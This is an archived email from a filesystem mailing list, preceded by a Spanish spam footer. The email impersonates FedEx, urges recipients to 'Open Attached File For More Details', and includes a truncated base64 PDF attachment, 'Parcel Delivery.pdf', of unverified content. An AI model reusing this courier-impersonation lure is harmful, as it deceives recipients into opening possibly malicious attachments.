Ley 26.032: La búsqueda, recepción y difusión de información e ideas de toda índole, a través del servicio de internet, se considera comprendido dentro de la garantía constitucional que ampara la libertad de expresión.
Si le hemos causado alguna molestia, rogamos acepte nuestras disculpas.

( Para desuscribirse haga click aquí )

From dlle@ufam.edu.br Tue Jan 14 17:18:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3FA977F3F for ; Tue, 14 Jan 2014 17:18:20 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9D9DB304066 for ; Tue, 14 Jan 2014 15:18:16 -0800 (PST) X-ASG-Debug-ID: 1389741492-04bdf00fe06d7e40001-NocioJ Received: from zimbramta01.ufam.edu.br (zimbramta01.ufam.edu.br [200.129.163.90]) by cuda.sgi.com with ESMTP id 352P5T01IKbIVd9X for ; Tue, 14 Jan 2014 15:18:13 -0800 (PST) X-Barracuda-Envelope-From: dlle@ufam.edu.br X-Barracuda-Apparent-Source-IP: 200.129.163.90 Received: from localhost (localhost [127.0.0.1]) by zimbramta01.ufam.edu.br (Postfix) with ESMTP id A670D6381E; Tue, 14 Jan 2014 19:16:33 -0400 (AMT) Received: from zimbramta01.ufam.edu.br ([127.0.0.1]) by localhost (zimbramta01.ufam.edu.br [127.0.0.1]) (amavisd-new, port 10032) with ESMTP id a0N1aTqGI2Gb; Tue, 14 Jan 2014 19:16:32 -0400 (AMT) Received: from localhost (localhost [127.0.0.1]) by zimbramta01.ufam.edu.br (Postfix) with ESMTP id 1D29B6381D; Tue, 14 Jan 2014 19:16:28 -0400 (AMT) X-Virus-Scanned: amavisd-new at zimbramta01.ufam.edu.br Received: from zimbramta01.ufam.edu.br ([127.0.0.1]) by localhost (zimbramta01.ufam.edu.br [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id gmktf18zyiQ1; Tue, 14 Jan 2014 19:16:27 -0400 (AMT) Received: from zimbrastore01.ufam.edu.br (zimbrastore01.ufam.edu.br [200.129.163.92]) by zimbramta01.ufam.edu.br (Postfix) with ESMTP id 17DD463813; Tue, 14 Jan 2014 19:16:04 -0400 (AMT) Date: Tue, 14 Jan 2014 19:16:03 -0400 (AMT) From: FedEx Delivery Service Reply-To: FedEx Delivery Service Message-ID: <2027009558.1041981.1389741363258.JavaMail.zimbra@ufam.edu.br> Subject: Season Greetings From FedEx MIME-Version: 1.0 X-ASG-Orig-Subj: Season Greetings From FedEx Content-Type: multipart/mixed; boundary="----=_Part_1041978_121993474.1389741363247" X-Originating-IP: [123.63.112.74] X-Mailer: Zimbra 8.0.5_GA_5839 (zclient/8.0.5_GA_5839) Thread-Topic: Season Greetings From FedEx Thread-Index: FwAhonEO/J0x9dvVjJq9ZQQj+lCJdw== X-Barracuda-Connect: zimbramta01.ufam.edu.br[200.129.163.90] X-Barracuda-Start-Time: 1389741492 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.73 X-Barracuda-Spam-Status: No, SCORE=1.73 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC3_TG321, HTML_MESSAGE, MISSING_HEADERS, THREAD_INDEX, THREAD_TOPIC, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144091 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 1.21 MISSING_HEADERS Missing To: header 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 TO_CC_NONE No To: or Cc: header 0.50 BSF_SC3_TG321 Custom Rule TG321 To: undisclosed-recipients:; ------=_Part_1041978_121993474.1389741363247 Content-Type: multipart/alternative; boundary="----=_Part_1041979_1644918280.1389741363247" ------=_Part_1041979_1644918280.1389741363247 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit Open Attached File For More Details ------=_Part_1041979_1644918280.1389741363247 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
Open Attached File For More Details
------=_Part_1041979_1644918280.1389741363247-- ------=_Part_1041978_121993474.1389741363247 Content-Type: application/pdf; name="Parcel Delivery.pdf" Content-Disposition: attachment; filename="Parcel Delivery.pdf" Content-Transfer-Encoding: base64 JVBERi0xLjUNCiW1tbW1DQoxIDAgb2JqDQo8PC9UeXBlL0NhdGFsb2cvUGFnZXMgMiAwIFIvTGFu Zyhlbi1VUykgL1N0cnVjdFRyZWVSb290IDIxIDAgUi9NYXJrSW5mbzw8L01hcmtlZCB0cnVlPj4+ Pg0KZW5kb2JqDQoyIDAgb2JqDQo8PC9UeXBlL1BhZ2VzL0NvdW50IDIvS2lkc1sgMyAwIFIgOSAw IFJdID4+DQplbmRvYmoNCjMgMCBvYmoNCjw8L1R5cGUvUGFnZS9QYXJlbnQgMiAwIFIvUmVzb3Vy Y2VzPDwvRm9udDw8L0YxIDUgMCBSL0YyIDcgMCBSPj4vUHJvY1NldFsvUERGL1RleHQvSW1hZ2VC L0ltYWdlQy9JbWFnZUldID4+L01lZGlhQm94WyAwIDAgNjEyIDc5Ml0gL0NvbnRlbnRzIDQgMCBS L0dyb3VwPDwvVHlwZS9Hcm91cC9TL1RyYW5zcGFyZW5jeS9DUy9EZXZpY2VSR0I+Pi9UYWJzL1Mv U3RydWN0UGFyZW50cyAwPj4NCmVuZG9iag0KNCAwIG9iag0KPDwvRmlsdGVyL0ZsYXRlRGVjb2Rl L0xlbmd0aCAzNzM0Pj4NCnN0cmVhbQ0KeJytXFlv3EYSfheg/8CHRVZcmPQ02byCIIAs2btex44R y/GDsg/yjGY0a10ZSXGExf73ZXNY31SxD1LJIoDT4tHsrq/uqp7o+fvou++evz16fRzNvv8+enF8 FKlotb+XN6nKoirL06aMirxOizLKs3Smo835/t7yb/t70cu3R1HE3lf9+y9O9veev1KRUmmRRSfL /T0Vzdr/VKRnZppK52mpo5Or/b1ZmpWV+dx28Pf9vdOD4zjJD87NP2dxebAxg6gdHJnBQzu4M4P7 dnBjBlftoHt40w6exf+KTv65v/fyxLG8TCwvcyxP5VWqar6+0/bTgSlzB8VmtflfTzFVpHWAYnoq xdobpSTY6cEn0MmQ54II9tv2ctlebQefiTzmyjU9/JUeXhMtu0F3f0WvLonEG7rySFce6ApgMLPO zeCGvnNP35jTg5FA0LyxpDeA8iNdeRBfvhRTY4lmU7+bwZrzRb+Xsn2un/W9WMsX+mu1I9UOZIZl 2WQtuTmWZQDMgoEp4SubIq30EL+OQIDt3sIGVNrQMlfWVsH53WAh5ljTrBcTaX9HD3cEvN3+4yLn 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 SQit0OkibHOaLmhZdgPx0RtO3wWBAW9YmjbWTJG4XIhBIOTm3dls0FscynKW/tp01kJhBSCXMBCs azZEQpehrYpUac0+cDqh7dbrSiD8XbiJisgPJTHhHD0I8+vR2O6EOUye9ID/RFuSHcFc0H5vBwxi 186c7KBqPb3rt/TbV1XXjq5fWXWXlWy7yuM6RjkEwE7w3FgUks/c0jPoXTH4fd6KGqcZchKBDmVU KT2R8tLpRsgs+RQKyIz+2ElEVdbm1MZEEP1nxFWVOc6VOqryOEWK+FwkSdC1JbUWs1CcRUXgAwvl PZJqO2NcZuyDkLCUkDs7X8RSi86v2iDac7yIhx6ETLL4sMvLdGpjbulP26qiTPM6nA+6EtRG+C5k x/YA8YsFl1tqJsyDwOZFf+gTToKGTIPz8HjdmLQJ2+2pM5vjUvKeJiek87Gje5L9DUkhHvyjHcQl dwLdHcTGXVZabi3oIFWOH79RrfdRTz0HVk399RuVaZPmHTDXG2HDbN9lSv+9o7Az9eADGnmkU8v6 75NBPPTLgRkFCkfBDmWuXN5zm9LNv2uVQHoVKmJso0/6HYnWztaZnqgwKn8SS83aCYaQrgApNm43 2OFglNnpt0EOzUe53tQCW3bfrWaM6bXN9K3Vauqp5q8qJjK9+dmV4U8+nbLa1RPZh3HuexKMPhWb iHJkUF7eE9NviE3g7H4LxnpL9xFlCNu0Ila0v3wpVt9neUNojB+M0KrrHWfUdCD8P/uKv5ANCmVu ZHN0cmVhbQ0KZW5kb2JqDQo1IDAgb2JqDQo8PC9UeXBlL0ZvbnQvU3VidHlwZS9UcnVlVHlwZS9O YW1lL0YxL0Jhc2VGb250L0FCQ0RFRStDb3VyaWVyIzIwTmV3LEJvbGQvRW5jb2RpbmcvV2luQW5z aUVuY29kaW5nL0ZvbnREZXNjcmlwdG9yIDYgMCBSL0ZpcnN0Q2hhciAzMi9MYXN0Q2hhciAxMjUv V2lkdGhzIDU5IDAgUj4+DQplbmRvYmoNCjYgMCBvYmoNCjw8L1R5cGUvRm9udERlc2NyaXB0b3Iv Rm9udE5hbWUvQUJDREVFK0NvdXJpZXIjMjBOZXcsQm9sZC9GbGFncyAzMi9JdGFsaWNBbmdsZSAw L0FzY2VudCA4MzMvRGVzY2VudCAtMjA5L0NhcEhlaWdodCA2MzMvQXZnV2lkdGggNjAwL01heFdp ZHRoIDg5NC9Gb250V2VpZ2h0IDcwMC9YSGVpZ2h0IDI1MC9TdGVtViA2MC9Gb250QkJveFsgLTE5 MiAtMjA5IDcwMiA2MzNdIC9Gb250RmlsZTIgNTcgMCBSPj4NCmVuZG9iag0KNyAwIG9iag0KPDwv VHlwZS9Gb250L1N1YnR5cGUvVHJ1ZVR5cGUvTmFtZS9GMi9CYXNlRm9udC9BQkNERUUrQ2FsaWJy aS9FbmNvZGluZy9XaW5BbnNpRW5jb2RpbmcvRm9udERlc2NyaXB0b3IgOCAwIFIvRmlyc3RDaGFy IDMyL0xhc3RDaGFyIDMyL1dpZHRocyA2MCAwIFI+Pg0KZW5kb2JqDQo4IDAgb2JqDQo8PC9UeXBl L0ZvbnREZXNjcmlwdG9yL0ZvbnROYW1lL0FCQ0RFRStDYWxpYnJpL0ZsYWdzIDMyL0l0YWxpY0Fu Z2xlIDAvQXNjZW50IDc1MC9EZXNjZW50IC0yNTAvQ2FwSGVpZ2h0IDc1MC9BdmdXaWR0aCA1MjEv TWF4V2lkdGggMTc0My9Gb250V2VpZ2h0IDQwMC9YSGVpZ2h0IDI1MC9TdGVtViA1Mi9Gb250QkJv eFsgLTUwMyAtMjUwIDEyNDAgNzUwXSAvRm9udEZpbGUyIDYxIDAgUj4+DQplbmRvYmoNCjkgMCBv YmoNCjw8L1R5cGUvUGFnZS9QYXJlbnQgMiAwIFIvUmVzb3VyY2VzPDwvRXh0R1N0YXRlPDwvR1Mx MSAxMSAwIFIvR1MxMiAxMiAwIFI+Pi9Gb250PDwvRjEgNSAwIFIvRjIgNyAwIFIvRjMgMTMgMCBS L0Y0IDE1IDAgUj4+L1Byb2NTZXRbL1BERi9UZXh0L0ltYWdlQi9JbWFnZUMvSW1hZ2VJXSA+Pi9N ZWRpYUJveFsgMCAwIDYxMiA3OTJdIC9Db250ZW50cyAxMCAwIFIvR3JvdXA8PC9UeXBlL0dyb3Vw L1MvVHJhbnNwYXJlbmN5L0NTL0RldmljZVJHQj4+L1RhYnMvUy9TdHJ1Y3RQYXJlbnRzIDE+Pg0K ZW5kb2JqDQoxMCAwIG9iag0KPDwvRmlsdGVyL0ZsYXRlRGVjb2RlL0xlbmd0aCAyNDg5Pj4NCnN0 cmVhbQ0KeJydWm1vGzcS/m7A/2E/3Afprqb5vuQhCC6xHTfXOi1sFbjCvQ+KJDtGHdmQ5eT874/k 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 ou2jYFb3tvPJs4/PdzDw4aZSP/pYhoUbwYsfoxj/DO88gwxviXj6t539GUm1j9z5CQXCvkyH22He 0H57dhyE46ks2tv0mKwBilsfI7c7PdK2MwFKkdqN8TZ1NKc3XksRHbni0k8dheTpKRrMN3jZpwbZ nbg2edinq4AHepVib/KQj+RI7yMkecqnJTaMRlLOd07njd9beQEk8lu2X8P0YwlWnnuf9UtGn4V9 D2f7VETKjSGux/FEum+HgttoRG8wFuKtNH8we3vEzF9+4i4F6S9191fQ7rboL7G75Ly/bLvLk/jl XsZ72V3K7tL0FF72L0P/4l0nSvmXOz1k3CGBj9IOwiRqfXAzeTbO+UdtqYMJifgo1PVpcW8jv1yJ o3Xasj78D7f4j4IjAE/w3OdJWbdS5a0FSjEiLBxOwT9UYmuBGSGaVc4fqnZrgVFuzxwNIL70Ael2 GiwWlx08OcXLy3ozfWnOw45LYCQW5gwLhGtLa6p2Yc6wETcqrV14vvl03IclX/uK8pJ3QMU5hKWn HZ9yI63Ydugi7U7REniJbQeqNKK1iypVu+1ANUXtaIm1WxVZPNz+w/8AxV/Av/ystw5RnIFnexTd VxeQQayhcQsvDteeOVzK2xiUMetwwbgKWOvENgZtmaV5Hda6dhuDthKpURoxPOM8yGfG3aWWDP12 cNBD7YFkncpZ+xPJkbj8adtU8tQfSY6k1B1J1smkx51J3kOnZM7TnSuMpNQdStbJ7MedSt5Dp/TR ZpfNRVL2OJasK/b2umPJUQ/507g4MT8aRiRILSnSUH52lef0Eef/A3JEyEcNCmVuZHN0cmVhbQ0K ZW5kb2JqDQoxMSAwIG9iag0KPDwvVHlwZS9FeHRHU3RhdGUvQk0vTm9ybWFsL2NhIDE+Pg0KZW5k b2JqDQoxMiAwIG9iag0KPDwvVHlwZS9FeHRHU3RhdGUvQk0vTm9ybWFsL0NBIDE+Pg0KZW5kb2Jq DQoxMyAwIG9iag0KPDwvVHlwZS9Gb250L1N1YnR5cGUvVHJ1ZVR5cGUvTmFtZS9GMy9CYXNlRm9u dC9BQkNERUUrU2Vnb2UjMjBVSS9FbmNvZGluZy9XaW5BbnNpRW5jb2RpbmcvRm9udERlc2NyaXB0 b3IgMTQgMCBSL0ZpcnN0Q2hhciA0Ni9MYXN0Q2hhciAxMTQvV2lkdGhzIDYyIDAgUj4+DQplbmRv YmoNCjE0IDAgb2JqDQo8PC9UeXBlL0ZvbnREZXNjcmlwdG9yL0ZvbnROYW1lL0FCQ0RFRStTZWdv ZSMyMFVJL0ZsYWdzIDMyL0l0YWxpY0FuZ2xlIDAvQXNjZW50IDEwNzkvRGVzY2VudCAtMjEwL0Nh cEhlaWdodCA3MjgvQXZnV2lkdGggNTM5L01heFdpZHRoIDE5MTUvRm9udFdlaWdodCA0MDAvWEhl aWdodCAyNTAvU3RlbVYgNTMvRm9udEJCb3hbIC00MzIgLTIxMCAxNDgzIDcyOF0gL0ZvbnRGaWxl MiA2MyAwIFI+Pg0KZW5kb2JqDQoxNSAwIG9iag0KPDwvVHlwZS9Gb250L1N1YnR5cGUvVHlwZTAv QmFzZUZvbnQvQUJDREVFK0NvdXJpZXIjMjBOZXcsQm9sZC9FbmNvZGluZy9JZGVudGl0eS1IL0Rl c2NlbmRhbnRGb250cyAxNiAwIFIvVG9Vbmljb2RlIDU2IDAgUj4+DQplbmRvYmoNCjE2IDAgb2Jq DQpbIDE3IDAgUl0gDQplbmRvYmoNCjE3IDAgb2JqDQo8PC9CYXNlRm9udC9BQkNERUUrQ291cmll ciMyME5ldyxCb2xkL1N1YnR5cGUvQ0lERm9udFR5cGUyL1R5cGUvRm9udC9DSURUb0dJRE1hcC9J ZGVudGl0eS9EVyAxMDAwL0NJRFN5c3RlbUluZm8gMTggMCBSL0ZvbnREZXNjcmlwdG9yIDE5IDAg Ui9XIDU4IDAgUj4+DQplbmRvYmoNCjE4IDAgb2JqDQo8PC9PcmRlcmluZyhJZGVudGl0eSkgL1Jl Z2lzdHJ5KEFkb2JlKSAvU3VwcGxlbWVudCAwPj4NCmVuZG9iag0KMTkgMCBvYmoNCjw8L1R5cGUv Rm9udERlc2NyaXB0b3IvRm9udE5hbWUvQUJDREVFK0NvdXJpZXIjMjBOZXcsQm9sZC9GbGFncyAz Mi9JdGFsaWNBbmdsZSAwL0FzY2VudCA4MzMvRGVzY2VudCAtMjA5L0NhcEhlaWdodCA2MzMvQXZn V2lkdGggNjAwL01heFdpZHRoIDg5NC9Gb250V2VpZ2h0IDcwMC9YSGVpZ2h0IDI1MC9TdGVtViA2 MC9Gb250QkJveFsgLTE5MiAtMjA5IDcwMiA2MzNdIC9Gb250RmlsZTIgNTcgMCBSPj4NCmVuZG9i ag0KMjAgMCBvYmoNCjw8L0F1dGhvcihNQU4gT0YgR09EKSAvQ3JlYXRvcij+/wBNAGkAYwByAG8A cwBvAGYAdACuACAAVwBvAHIAZAAgADIAMAAxADAAIABUAHIAaQBhAGwpIC9DcmVhdGlvbkRhdGUo RDoyMDEzMTIyOTA5MjkxOC0wOCcwMCcpIC9Nb2REYXRlKEQ6MjAxMzEyMjkwOTI5MTgtMDgnMDAn KSAvUHJvZHVjZXIo/v8ATQBpAGMAcgBvAHMAbwBmAHQArgAgAFcAbwByAGQAIAAyADAAMQAwACAA VAByAGkAYQBsKSA+Pg0KZW5kb2JqDQoyNyAwIG9iag0KPDwvVHlwZS9PYmpTdG0vTiAzNC9GaXJz dCAyNTUvRmlsdGVyL0ZsYXRlRGVjb2RlL0xlbmd0aCA4Mzg+Pg0Kc3RyZWFtDQp4nO1WXWvbMBR9 H+w/3H9g61uCUhhry0ZpKUlhD6MPbqqloUlcXAfaf78jy26dVWy1KIPBIOREss7x/dK94YpK4paU Iu6IaUeiJCENCUaytCQ4Sa2xQ0pgpUiXnIQmrQUJQ4Yzwr4x4Dmy2JElWadIMnJKkOTESgYpAYS4 lMQYxykFtDimiXE8xAuZKHHOAhXOwRbJ8NISaBkpRkwFhJ7GmyANWw0p6BnYjg+zMJJjba0hmMUZ 18Q5PgxrgUcghS2J9wpYX8Lhg4PiIpBKmhXz4qK4fLr3xbxtdov2eO03xel3PILWFRUXSxLh3OHh xw9voMEnQrTIkCU4AxW4AOthOGyEufAcTsNfR7zsDObRTOLIhZ7+RoQVieQxgyxkLngpQ9KQMKQm 